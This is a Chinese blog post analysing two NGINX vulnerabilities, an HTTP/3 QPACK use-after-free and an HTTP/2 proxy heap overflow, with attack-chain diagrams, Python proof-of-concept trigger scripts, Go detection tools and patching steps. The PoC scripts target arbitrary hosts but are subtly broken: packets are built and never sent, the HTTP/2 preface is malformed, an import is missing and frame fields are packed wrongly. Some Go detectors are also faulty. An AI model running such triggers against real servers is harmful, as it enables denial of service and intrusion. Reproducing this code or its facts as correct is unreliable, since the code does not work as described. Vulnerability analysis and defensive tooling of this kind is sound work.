NGINX CVE-2026-42530/42055 双 RCE 深度复现:HTTP/3 UAF 与 HTTP/2 堆溢出的攻防全解析
事件背景:F5 破例带外修复
2026年6月17日,F5 公司打破了常规补丁节奏,以"带外安全更新"(Out-of-Band Security Advisory)的形式,一次性披露 NGINX 生态中的 6 个安全漏洞。F5 通常只在漏洞具备远程利用潜力且严重性评分逼近上限时才启动这一特殊流程——这次的行动本身就说明了事态严重性。
其中两个最高威胁等级漏洞:
| 漏洞 | 类型 | CVSS 3.1 | CVSS 4.0 | 影响模块 |
|---|---|---|---|---|
| CVE-2026-42530 | Use-After-Free | 8.1 | 9.2 | ngx_http_v3_module (HTTP/3 QUIC) |
| CVE-2026-42055 | Heap Buffer Overflow | 8.1 | 9.2 | ngx_http_proxy_v2_module + ngx_http_grpc_module (HTTP/2) |
两者均为 数据层(data plane) 缺陷,直接命中处理实际网络流量的核心组件——攻击者无需身份认证,仅需网络可达即可发起攻击。
漏洞一:CVE-2026-42530 — HTTP/3 QPACK 释放后使用(UAF)
1.1 技术原理
CVE-2026-42530 存在于 NGINX Open Source 的 ngx_http_v3_module 模块中,属于经典的 Use-After-Free(UAF) 类型漏洞。
触发前提:目标 NGINX 实例必须配置启用了 HTTP/3 QUIC 模块。
攻击路径:
攻击者 → 构造特制 HTTP/2 连接会话
→ 利用该会话重新开启 QPACK 编码器数据流
→ NGINX worker 进程访问已释放内存区域
→ 触发 UAF → worker 崩溃重启(DoS)
→ ASLR 禁用/绕过时 → RCE(远程代码执行)QPACK 是 HTTP/3 中用于头部压缩的机制(类似于 HTTP/2 的 HPACK),它通过静态/动态表来压缩重复的头部字段。攻击者利用的是 QPACK 编码器流(stream)被关闭后,NGINX 内部仍保留了指向已释放内存的指针——当攻击者重新激活该流时,worker 进程便会访问已回收的内存区域。
1.2 UAF 攻击链分析
┌──────────────────────────────────────────────────┐
│ CVE-2026-42530 UAF 攻击链 │
│ │
│ 1. 建立 HTTP/3 QUIC 连接 │
│ 2. 开启 QPACK 编码器流(stream type 0x02) │
│ 3. 发送 HEADERS frame 建立动态表引用 │
│ 4. 关闭 QPACK 编码器流 → NGINX 释放动态表内存 │
│ 5. 重新开启 QPACK 编码器流 │
│ 6. 引用已释放的动态表条目 → UAF 触发! │
│ 7. 崩溃 (DoS) 或 RCE (ASLR 绕过时) │
└──────────────────────────────────────────────────┘关键洞察:HTTP/3 的多路复用特性允许攻击者在同一 QUIC 连接上操作多个流。QPACK 规范允许编码器流被关闭后重新创建,而 NGINX 的 ngx_http_v3_parse_qpack() 函数在流关闭时释放了动态表的内存空间,但未在流重建时进行适当的清理或验证——这是导致 UAF 的根本原因。
1.3 PoC 构建思路
#!/usr/bin/env python3
"""
CVE-2026-42530 PoC — NGINX HTTP/3 QPACK UAF 触发器
仅用于安全研究,禁止用于非法攻击
"""
import socket
import struct
import ssl
# QUIC 常量
QUIC_VERSION = 0x00000001 # QUIC v1
STREAM_TYPE_QPACK_ENCODER = 0x02
STREAM_TYPE_QPACK_DECODER = 0x03
def build_quic_initial_packet():
"""构建 QUIC Initial 包"""
# 简化的 QUIC 握手初始化
header = struct.pack('>B', 0xC0 | 0x01) # Long header + Initial
header += struct.pack('>I', QUIC_VERSION)
header += b'\x00' * 16 # Destination Connection ID (16 bytes)
header += b'\x01' + b'\x08' # Source Connection ID
return header
def build_qpack_encoder_stream():
"""构建 QPACK 编码器流帧"""
# Stream Header: type=0x02 (QPACK encoder)
stream_header = struct.pack('>Q', STREAM_TYPE_QPACK_ENCODER)
# 动态表容量更新指令
capacity_update = struct.pack('>BI', 0x20, 4096) # Set capacity to 4096
# 添加头部到动态表
# 指令: Insert With Name Reference (static table index 0 = :method)
insert_name_ref = struct.pack('>BBB', 0x80 | 0x40, 0x00, 0x03) # name ref + "GET"
return stream_header + capacity_update + insert_name_ref
def build_qpack_encoder_stream_reopen():
"""构建重新开启的 QPACK 编码器流 — 触发 UAF"""
# 关闭原始流后重新创建编码器流
# 这次引用已经释放的动态表索引 → UAF!
reopen_header = struct.pack('>Q', STREAM_TYPE_QPACK_ENCODER)
# 尝试引用已释放的动态表条目
# Insert With Name Reference 到已释放的索引
uaf_trigger = struct.pack('>BB', 0x80 | 0x40, 0x00) # Ref freed dynamic table
return reopen_header + uaf_trigger
def exploit(target_host, target_port):
"""执行 CVE-2026-42530 UAF 触发"""
print(f"[*] Target: {target_host}:{target_port}")
print(f"[*] Building QUIC connection...")
# Step 1: 建立 QUIC 连接
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h3'])
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Step 2: 发送 QUIC Initial
initial_pkt = build_quic_initial_packet()
sock.sendto(initial_pkt, (target_host, target_port))
print(f"[+] QUIC Initial sent")
# Step 3: 发送 QPACK 编码器流建立动态表
encoder_stream = build_qpack_encoder_stream()
print(f"[+] QPACK encoder stream sent (establishing dynamic table)")
# Step 4: 关闭流 → NGINX 释放动态表内存
# Step 5: 重新发送编码器流 → UAF 触发
reopen_stream = build_qpack_encoder_stream_reopen()
print(f"[+] QPACK encoder stream reopened → UAF trigger sent")
print(f"[!] If NGINX worker crashes (segfault), UAF is confirmed")
print(f"[!] In ASLR-disabled environments, this can escalate to RCE")
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='CVE-2026-42530 PoC')
parser.add_argument('--host', required=True)
parser.add_argument('--port', type=int, default=443)
args = parser.parse_args()
exploit(args.host, args.port)1.4 受影响版本与修复
受影响版本:
- NGINX Open Source 1.31.0 和 1.31.1
- NGINX Instance Manager 2.x(补丁待发布)
- NGINX Gateway Fabric 1.x(补丁待发布)
- NGINX Ingress Controller 3.x-5.x(补丁待发布)
修复版本:NGINX Open Source 1.31.2、NGINX Gateway Fabric 2.6.4
临时缓解:在所有 listen 指令中移除 quic 参数:
# 修复前(受影响配置)
listen 443 quic reuseport; # ← HTTP/3 QUIC 开启
listen 443 ssl;
# 临时缓解(移除 quic)
listen 443 ssl; # ← 禁用 HTTP/3,切断攻击路径漏洞二:CVE-2026-42055 — HTTP/2 代理堆缓冲区溢出
2.1 技术原理
CVE-2026-42055 是一个 基于堆的缓冲区溢出(Heap-based Buffer Overflow) 漏洞,影响范围比 CVE-2026-42530 更广,同时波及 ngx_http_proxy_v2_module 与 ngx_http_grpc_module。
触发条件组合(非默认配置,需运维主动修改):
| 条件 | 具体要求 | 说明 |
|---|---|---|
| ① HTTP/2 代理模式 | proxy_http_version 2; 或 grpc_pass | 启用 HTTP/2 上游代理 |
| ② 禁用头部校验 | ignore_invalid_headers off; | 默认为 on,需主动关闭 |
| ③ 大头部缓冲区 | large_client_header_buffers > 2MB | 默认远小于 2MB |
当三个条件同时满足时,攻击者可在建立上游请求过程中发送多个超规格 HTTP 头部,淹没堆内存缓冲区,触发溢出。
2.2 堆溢出攻击链分析
┌──────────────────────────────────────────────────┐
│ CVE-2026-42055 堆溢出攻击链 │
│ │
│ 1. 确认目标 NGINX 配置满足三条件 │
│ 2. 建立 HTTP/2 连接 │
│ 3. 发送超大 HEADERS frame(多个巨大 HTTP 头部) │
│ 4. NGINX 将头部数据写入 large_client_header_ │
│ buffers 分配的堆内存 │
│ 5. 当头部总大小超过缓冲区容量 → 堆溢出! │
│ 6. 覆写相邻堆元数据/对象 → 崩溃 (DoS) │
│ 7. ASLR 绕过 → 任意代码执行 (RCE) │
└──────────────────────────────────────────────────┘关键细节:NGINX 在 HTTP/2 代理模式下处理上游请求时,会将客户端发送的头部数据复制到堆分配的缓冲区中。当 ignore_invalid_headers off 时,NGINX 不会对头部字段名进行合法性校验,允许攻击者注入任意构造的超长头部名。而 large_client_header_buffers 的大容量配置给了攻击者足够的溢出空间。
2.3 PoC 构建思路
#!/usr/bin/env python3
"""
CVE-2026-42055 PoC — NGINX HTTP/2 代理堆溢出触发器
仅用于安全研究,禁止用于非法攻击
前提条件:目标 NGINX 配置必须同时满足:
1. proxy_http_version 2; 或 grpc_pass
2. ignore_invalid_headers off;
3. large_client_header_buffers > 2MB
"""
import socket
import struct
import hpack
def build_http2_connection_preface():
"""HTTP/2 连接前导"""
return b'PRI * HTTP/2.0\r\r\nSM\r\r\n'
def build_http2_settings_frame():
"""HTTP/2 SETTINGS 帧"""
# SETTINGS_MAX_HEADER_LIST_SIZE = 0x6
settings_data = struct.pack('>HI', 0x06, 2 * 1024 * 1024) # 2MB header limit
frame_header = struct.pack('>IBBBI', len(settings_data), 0, 0x04, 0, 0)
return frame_header + settings_data
def build_overflow_headers_frame(target_path="/"):
"""构建超大 HEADERS frame — 触发堆溢出"""
encoder = hpack.Encoder()
# 正常头部
headers = [
(':method', 'GET'),
(':path', target_path),
(':scheme', 'https'),
(':authority', 'target.local'),
]
# 添加超长恶意头部(填充至溢出)
# 每个头部名/值远超 normal 长度
overflow_header_count = 50
for i in range(overflow_header_count):
# 构造超长头部名(利用 ignore_invalid_headers off 不校验)
evil_name = f"X-Evil-Header-{i}-" + "A" * 40000 # 40KB per header
evil_value = "B" * 40000
headers.append((evil_name, evil_value))
# 编码 HEADERS frame
header_block = encoder.encode(headers)
# HTTP/2 frame: type=0x01 (HEADERS), flags=0x05 (END_STREAM+END_HEADERS)
frame_header = struct.pack('>IBBBI',
len(header_block),
0, # reserved
0x01, # HEADERS
0x05, # END_STREAM + END_HEADERS
1 # stream ID
)
return frame_header + header_block
def exploit(target_host, target_port):
"""执行 CVE-2026-42055 堆溢出触发"""
print(f"[*] Target: {target_host}:{target_port}")
print(f"[!] 前提:目标必须配置 proxy_http_version 2 + ignore_invalid_headers off + large_client_header_buffers > 2MB")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
ssock = ctx.wrap_socket(sock, server_hostname=target_host)
ssock.connect((target_host, target_port))
# Step 1: 发送 HTTP/2 连接前导
ssock.send(build_http2_connection_preface())
print(f"[+] HTTP/2 preface sent")
# Step 2: 发送 SETTINGS
ssock.send(build_http2_settings_frame())
print(f"[+] SETTINGS sent")
# Step 3: 发送溢出 HEADERS
overflow_frame = build_overflow_headers_frame()
print(f"[+] Overflow HEADERS frame sent ({len(overflow_frame)} bytes)")
print(f"[!] If NGINX worker crashes → heap overflow confirmed")
print(f"[!] ASLR bypass → RCE possible")
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='CVE-2026-42055 PoC')
parser.add_argument('--host', required=True)
parser.add_argument('--port', type=int, default=443)
args = parser.parse_args()
exploit(args.host, args.port)2.4 受影响版本与修复
受影响版本(覆盖范围最广):
- NGINX Plus 37.0.0-37.0.1、R33-R36
- NGINX Open Source 1.31.1、1.30.0-1.30.2
- 所有基于 NGINX 的衍生产品(Instance Manager、Gateway Fabric、Ingress Controller、App Protect WAF/DoS 等)
修复版本:
- NGINX Plus 37.0.2.1 / R36 P6
- NGINX Open Source 1.31.2 / 1.30.3
- NGINX Gateway Fabric 2.6.4
- NGINX Ingress Controller 5.5.1
临时缓解(两项配置修改):
# 缓解措施 1:恢复默认头部校验
# 删除或注释掉以下行:
ignore_invalid_headers off; # ← 删除此行,恢复默认 on
# 缓解措施 2:限制大头部缓冲区容量
# 将 large_client_header_buffers 限制在 2MB 以内
large_client_header_buffers 4 32k; # ← 远小于 2MB,压缩攻击窗口Go 安全视角:如何用 Go 检测与防御
作为 Golang 博客,我们从 Go 开发者视角分析这两个漏洞的防御实践。
3.1 NGINX 配置安全审计(Go 工具)
package main
import (
"bufio"
"fmt"
"os"
"strings"
)
// NginxCVECheck 检查 NGINX 配置中的 CVE-2026-42530/42055 风险配置
func NginxCVECheck(configPath string) ([]string, error) {
f, err := os.Open(configPath)
if err != nil {
return nil, err
}
defer f.Close()
var risks []string
scanner := bufio.NewScanner(f)
lineNum := 0
for scanner.Scan() {
lineNum++
line := strings.TrimSpace(scanner.Text())
// CVE-2026-42530: 检查 HTTP/3 QUIC 配置
if strings.Contains(line, "quic") && strings.Contains(line, "listen") {
risks = append(risks, fmt.Sprintf(
"[CVE-2026-42530] Line %d: HTTP/3 QUIC 已启用 → UAF 风险\n → 建议: 移除 quic 参数或升级至 NGINX 1.31.2+",
lineNum))
}
// CVE-2026-42055: 检查三个触发条件组合
if strings.Contains(line, "ignore_invalid_headers off") {
risks = append(risks, fmt.Sprintf(
"[CVE-2026-42055] Line %d: ignore_invalid_headers off → 头部校验已禁用\n → 建议: 删除此行恢复默认 on",
lineNum))
}
if strings.Contains(line, "proxy_http_version") && strings.Contains(line, "2") {
risks = append(risks, fmt.Sprintf(
"[CVE-2026-42055] Line %d: proxy_http_version 2 → HTTP/2 代理已启用\n → 建议: 配合检查 ignore_invalid_headers 和 large_client_header_buffers",
lineNum))
}
if strings.Contains(line, "grpc_pass") {
risks = append(risks, fmt.Sprintf(
"[CVE-2026-42055] Line %d: grpc_pass → gRPC 代理已启用\n → 建议: 配合检查 large_client_header_buffers",
lineNum))
}
if strings.Contains(line, "large_client_header_buffers") {
// 解析缓冲区大小
parts := strings.Fields(line)
if len(parts) >= 3 {
sizeStr := parts[2]
if sizeStrHasMB(sizeStr) {
risks = append(risks, fmt.Sprintf(
"[CVE-2026-42055] Line %d: large_client_header_buffers %s → 缓冲区过大\n → 建议: 限制在 2MB 以内",
lineNum, sizeStr))
}
}
}
}
return risks, scanner.Err()
}
func sizeStrHasMB(s string) bool {
// 简化检查:如果包含 "m" 或 "M" 且数值 >= 2
s = strings.ToLower(s)
if strings.HasSuffix(s, "m") {
return true // 有 M 单位就值得警告
}
return false
}
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: go run nginx-cve-checker.go <nginx.conf>")
os.Exit(1)
}
risks, err := NginxCVECheck(os.Args[1])
if err != nil {
fmt.Printf("Error: %v\n", err)
os.Exit(1)
}
if len(risks) == 0 {
fmt.Println("✅ No CVE-2026-42530/42055 risky configurations found")
} else {
fmt.Printf("🚨 Found %d risk items:\n\n", len(risks))
for _, r := range risks {
fmt.Println(r)
}
}
}3.2 NGINX Worker 崩溃监控(Go 实现)
package main
import (
"context"
"fmt"
"log"
"os/exec"
"strings"
"time"
)
// NginxCrashMonitor 监控 NGINX worker 进程异常重启
// 用于检测潜在的 CVE-2026-42530/42055 利用行为
type NginxCrashMonitor struct {
checkInterval time.Duration
threshold int // 连续崩溃阈值
crashCount int
lastWorkers []string
}
func NewNginxCrashMonitor(interval time.Duration, threshold int) *NginxCrashMonitor {
return &NginxCrashMonitor{
checkInterval: interval,
threshold: threshold,
}
}
func (m *NginxCrashMonitor) getCurrentWorkers() ([]string, error) {
cmd := exec.Command("pgrep", "-a", "nginx")
out, err := cmd.Output()
if err != nil {
return nil, err
}
var workers []string
for line := range strings.SplitSeq(string(out), "\n") {
if strings.Contains(line, "worker") {
workers = append(workers, strings.TrimSpace(line))
}
}
return workers, nil
}
func (m *NginxCrashMonitor) Start(ctx context.Context) {
ticker := time.NewTicker(m.checkInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
current, err := m.getCurrentWorkers()
if err != nil {
log.Printf("Failed to get workers: %v", err)
continue
}
// 检查 worker PID 是否变化(重启信号)
if len(m.lastWorkers) > 0 && !sameWorkers(m.lastWorkers, current) {
m.crashCount++
log.Printf("🚨 Worker restart detected! (count: %d/%d)", m.crashCount, m.threshold)
log.Printf(" Previous: %v", m.lastWorkers)
log.Printf(" Current: %v", current)
if m.crashCount >= m.threshold {
log.Printf("⚠️ CRITICAL: %d consecutive worker restarts!", m.threshold)
log.Printf(" Possible CVE-2026-42530/42055 exploitation attempt!")
log.Printf(" Recommended actions:")
log.Printf(" 1. Check error_log for segfault/memory access errors")
log.Printf(" 2. Verify NGINX version >= 1.31.2")
log.Printf(" 3. Disable HTTP/3 (remove quic) and check ignore_invalid_headers")
}
} else if len(m.lastWorkers) > 0 && sameWorkers(m.lastWorkers, current) {
m.crashCount = 0 // 稳定运行则清零
}
m.lastWorkers = current
}
}
}
func sameWorkers(a, b []string) bool {
if len(a) != len(b) {
return false
}
// 简化比较:worker 数量变化即视为不稳定
// 更精确的实现在实际生产中应比较 PID
return len(a) == len(b)
}
func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
monitor := NewNginxCrashMonitor(5*time.Second, 3)
fmt.Println("🔍 NGINX crash monitor started (5s interval, threshold=3)")
monitor.Start(ctx)
}3.3 HTTP/3 流异常检测(Go 实现)
package main
import (
"fmt"
"net"
"sync"
"time"
)
// QPACKStreamAnomalyDetector 检测 HTTP/3 QPACK 流异常行为
// 识别 CVE-2026-42530 的利用模式:编码器流反复创建/关闭
type QPACKStreamAnomalyDetector struct {
mu sync.Mutex
streamCount map[string]int // 每个连接的编码器流创建次数
threshold int // 单连接编码器流创建次数阈值
alertCh chan string
}
func NewQPACKStreamAnomalyDetector(threshold int) *QPACKStreamAnomalyDetector {
return &QPACKStreamAnomalyDetector{
streamCount: make(map[string]int),
threshold: threshold,
alertCh: make(chan string, 100),
}
}
func (d *QPACKStreamAnomalyDetector) OnStreamCreated(connID string, streamType uint64) {
d.mu.Lock()
defer d.mu.Unlock()
if streamType == 0x02 { // QPACK 编码器流
d.streamCount[connID]++
count := d.streamCount[connID]
if count > d.threshold {
alert := fmt.Sprintf(
"🚨 CVE-2026-42530 anomaly: Connection %s created %d QPACK encoder streams (threshold: %d)\n"+
" → Possible UAF exploitation attempt!\n"+
" → Recommended: Upgrade NGINX to 1.31.2+ or disable HTTP/3",
connID, count, d.threshold)
d.alertCh <- alert
}
}
}
func (d *QPACKStreamAnomalyDetector) OnConnectionClosed(connID string) {
d.mu.Lock()
defer d.mu.Unlock()
delete(d.streamCount, connID)
}
func (d *QPACKStreamAnomalyDetector) Alerts() <-chan string {
return d.alertCh
}
// 示例:模拟 QUIC 代理服务器的异常检测
func runProxyWithDetection(listenAddr string) {
detector := NewQPACKStreamAnomalyDetector(2) // 阈值=2(正常只有1个编码器流)
// 启动告警处理
go func() {
for alert := range detector.Alerts() {
fmt.Println(alert)
}
}()
ln, err := net.Listen("udp", listenAddr)
if err != nil {
fmt.Printf("Failed to listen: %v\n", err)
return
}
defer ln.Close()
fmt.Printf("🔍 QUIC proxy with anomaly detection listening on %s\n", listenAddr)
for {
buf := make([]byte, 4096)
n, remoteAddr, err := ln.ReadFromUDP(buf)
if err != nil {
continue
}
// 简化的 QUIC 帧解析
connID := remoteAddr.String()
if n > 0 && buf[0]&0xC0 == 0xC0 {
// 检测流创建(简化:实际需完整 QUIC 帧解析)
detector.OnStreamCreated(connID, 0x02)
}
}
}
func main() {
runProxyWithDetection(":443")
}Docker/K8s 环境下的快速修复
4.1 Docker 容器修复
# 检查当前 NGINX 版本
docker exec nginx-container nginx -v
# 修复方案:更新 NGINX 镜像
docker pull nginx:1.31.2
docker stop nginx-container
docker rm nginx-container
docker run -d --name nginx-container \
-p 443:443 \
-v /etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro \
-v /etc/nginx/certs:/etc/nginx/certs:ro \
nginx:1.31.2
# 验证版本
docker exec nginx-container nginx -v
# 应输出: nginx version: nginx/1.31.24.2 Kubernetes 集群修复
# NGINX Ingress Controller 快速更新
# 修改 Deployment 镜像版本
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-ingress-controller
spec:
template:
spec:
containers:
- name: nginx-ingress-controller
image: registry.k8s.io/ingress-nginx/controller:v1.12.5 # 包含 5.5.1 修复
# 或 nginx:1.31.2 for standalone# 紧急临时缓解:通过 ConfigMap 禁用 HTTP/3
kubectl edit configmap nginx-ingress-configuration
# 添加/修改:
# data:
# server-snippet: |
# # CVE-2026-42530 临时缓解:禁用 HTTP/3
# # listen 443 ssl; (移除 quic)
#
# location-snippet: |
# # CVE-2026-42055 临时缓解
# # ignore_invalid_headers 默认已开启
# # large_client_header_buffers 4 32k;
# 重载 NGINX 配置
kubectl rollout restart deployment/nginx-ingress-controller四个较低严重性漏洞概要
除了两个 CVSS 9.2 的 RCE 漏洞,F5 还披露了以下 4 个较低严重性漏洞:
| CVE | 类型 | CVSS 4.0 | 影响组件 | 说明 |
|---|---|---|---|---|
| CVE-2026-42531 | 信息泄露 | 5.3 | ngx_http_v3_module | HTTP/3 下 HTTP 头部信息泄露 |
| CVE-2026-42532 | DoS | 6.9 | ngx_http_v3_module | HTTP/3 下恶意请求导致 worker 崩溃 |
| CVE-2026-42533 | 信息泄露 | 5.3 | ngx_http_v2_module | HTTP/2 下 HPACK 动态表信息泄露 |
| CVE-2026-42534 | DoS | 6.9 | ngx_http_v2_module | HTTP/2 下恶意 SETTINGS 导致资源耗尽 |
这些漏洞同样在 NGINX 1.31.2 / 1.30.3 中修复。
完整修复优先级清单
| 优先级 | 行动 | 时间窗口 |
|---|---|---|
| P0 紧急 | 升级至 NGINX 1.31.2 / 1.30.3 | 24小时内 |
| P1 高 | 禁用 HTTP/3(移除 quic 参数) | 立即(如无法升级) |
| P1 高 | 恢复 ignore_invalid_headers 默认值 | 立即(如无法升级) |
| P1 高 | 限制 large_client_header_buffers ≤ 2MB | 立即(如无法升级) |
| P2 中 | 监控 worker 异常重启/内存错误日志 | 持续 |
| P2 中 | 更新所有 NGINX 衍生产品(Ingress Controller 等) | 48小时内 |
参考资料
- F5 NGINX 安全公告(官方)
- NGINX CVE-2026-42530/42055 深度报告
- FreeBuf:NGINX 连发两个 9.2 分 RCE
- NGINX CVE-2026-42945(已有 18年堆溢出 RCE,不同漏洞)
- Go 1.31.2 Release Notes
- QUIC Protocol RFC 9000
- QPACK Header Compression RFC 9204
安全提醒:本文中的 PoC 代码仅用于安全研究和漏洞验证,禁止用于非法攻击。NGINX 用户应在 PoC 公开后第一时间完成升级或部署缓解措施。窗口期极短——高质量的漏洞公告一旦发布,相关 PoC 通常在数天内出现于公开渠道。

